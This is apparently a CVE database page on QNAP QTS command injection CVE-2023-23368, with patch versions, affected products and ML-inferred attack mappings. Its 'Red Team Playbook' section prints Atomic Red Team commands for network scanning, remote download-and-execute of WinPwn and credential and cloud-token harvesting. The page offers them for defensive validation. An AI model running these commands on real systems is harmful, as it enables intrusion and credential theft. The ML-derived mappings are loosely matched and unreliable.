CVE-2023-23368
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within QNAP QTS operating system components. The affected modules fail to sanitize user-supplied input before passing it to system-level command execution functions, enabling injection of arbitrary shell commands. The issue specifically impacts the command execution interfaces exposed over the network in multiple QNAP QTS versions.
Vulnerability Description
An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.0.1.2376 build 20230421 and later QTS 4.5.4.2374 build 20230416 and later QuTS hero h5.0.1.2376 build 20230421 and later QuTS hero h4.5.4.2374 build 20230417 and later QuTScloud c5.0.1.2374 and later
Impact
An unauthenticated attacker with network access can execute arbitrary OS commands remotely, potentially leading to full system compromise including data theft, service disruption, or lateral movement within the network. The vulnerability requires no user interaction or authentication (CVSS: AV:N/AC:L/PR:N/UI:N), making exploitation straightforward in exposed environments. This could result in unauthorized control over affected QNAP NAS devices and compromise of sensitive data stored therein.
Solution
QNAP has released security updates addressing this vulnerability in QTS versions 5.0.1.2376 build 20230421 and later, QTS 4.5.4.2374 build 20230416 and later, QuTS hero h5.0.1.2376 build 20230421 and h4.5.4.2374 build 20230417 and later, as well as QuTScloud c5.0.1.2374 and later. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at QNAP's official security advisory: https://www.qnap.com/en/security-advisory/qsa-23-31
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An OS command injection vulnerability has been identified in several versions of the QNAP operating system, which allows attackers to execute arbitrary commands on the affected systems. This type of vulnerability arises when an application improperly sanitizes user input, allowing malicious users to inject commands that the operating system will execute. In this case, the flaw exists within the network-facing components of the QNAP operating system, making it particularly dangerous as it can be exploited remotely. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to affected systems.
Attack vectors for this vulnerability primarily involve network-based exploitation. An attacker could leverage crafted requests to the vulnerable system, injecting malicious commands that the system would execute with the privileges of the user running the application. This could lead to a variety of harmful outcomes, including unauthorized access to sensitive data, installation of malware, or even complete system compromise. Scenarios may include an attacker gaining access to administrative functions or manipulating the system to perform actions that could disrupt services or exfiltrate data. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations using affected versions of the QNAP operating system.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on QNAP devices for data storage and management. Successful exploitation could lead to data breaches, loss of sensitive information, and significant operational disruptions. The financial implications could be substantial, encompassing costs related to incident response, system recovery, and potential regulatory fines if data protection laws are violated. Moreover, the reputational damage resulting from a security breach can have long-lasting effects on customer trust and business relationships. Organizations must recognize the critical nature of this vulnerability and the potential risks associated with its exploitation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all QNAP devices are updated to the latest versions that have addressed this vulnerability. Regular patch management practices should be established to minimize the risk of exploitation. Additionally, network security measures such as firewalls and intrusion detection systems can help identify and block malicious traffic attempting to exploit the vulnerability. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their systems. Training employees on security best practices can further reduce the risk of exploitation by ensuring that they are aware of the dangers of command injection attacks.
In conclusion, the OS command injection vulnerability affecting QNAP operating systems presents a significant threat to organizations utilizing these devices. The potential for remote exploitation, combined with the severe consequences of a successful attack, necessitates immediate attention and action. By prioritizing timely updates, implementing robust security measures, and fostering a culture of cybersecurity awareness, organizations can better protect themselves against this and similar vulnerabilities in the future. Addressing such vulnerabilities proactively is essential to maintaining the integrity, confidentiality, and availability of critical business data.
Affected Products (45)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Qnap | Qts | 5.0.1 |
cpe:2.3:o:qnap:qts:5.0.1:-:*:*:*:*:*:*
|
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Qnap | Qts | 5.0.1.2034 |
cpe:2.3:o:qnap:qts:5.0.1.2034:build_20220515:*:*:*:*:*:*
|
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|
Qnap | Qts | 5.0.1.2079 |
cpe:2.3:o:qnap:qts:5.0.1.2079:build_20220629:*:*:*:*:*:*
|
|
|
Qnap | Qts | 5.0.1.2131 |
cpe:2.3:o:qnap:qts:5.0.1.2131:build_20220820:*:*:*:*:*:*
|
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Qnap | Qts | 5.0.1.2137 |
cpe:2.3:o:qnap:qts:5.0.1.2137:build_20220826:*:*:*:*:*:*
|
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Qnap | Qts | 5.0.1.2145 |
cpe:2.3:o:qnap:qts:5.0.1.2145:build_20220903:*:*:*:*:*:*
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Qnap | Qts | 5.0.1.2173 |
cpe:2.3:o:qnap:qts:5.0.1.2173:build_20221001:*:*:*:*:*:*
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Qnap | Qts | 5.0.1.2194 |
cpe:2.3:o:qnap:qts:5.0.1.2194:build_20221022:*:*:*:*:*:*
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Qnap | Qts | 5.0.1.2234 |
cpe:2.3:o:qnap:qts:5.0.1.2234:build_20221201:*:*:*:*:*:*
|
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|
Qnap | Qts | 5.0.1.2248 |
cpe:2.3:o:qnap:qts:5.0.1.2248:build_20221215:*:*:*:*:*:*
|
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Qnap | Qts | 5.0.1.2277 |
cpe:2.3:o:qnap:qts:5.0.1.2277:build_20230112:*:*:*:*:*:*
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Qnap | Qts | 5.0.1.2346 |
cpe:2.3:o:qnap:qts:5.0.1.2346:build_20230322:*:*:*:*:*:*
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Qnap | Qts | 4.5.4 |
cpe:2.3:o:qnap:qts:4.5.4:-:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1715 |
cpe:2.3:o:qnap:qts:4.5.4.1715:build_20210630:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1723 |
cpe:2.3:o:qnap:qts:4.5.4.1723:build_20210708:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1741 |
cpe:2.3:o:qnap:qts:4.5.4.1741:build_20210726:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1787 |
cpe:2.3:o:qnap:qts:4.5.4.1787:build_20210910:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1800 |
cpe:2.3:o:qnap:qts:4.5.4.1800:build_20210923:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1892 |
cpe:2.3:o:qnap:qts:4.5.4.1892:build_20211223:*:*:*:*:*:*
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Qnap | Qts | 4.5.4.1931 |
cpe:2.3:o:qnap:qts:4.5.4.1931:build_20220128:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-23368 |
| qnap.com |
GitHub CVE
|
https://www.qnap.com/en/security-advisory/qsa-23-31 |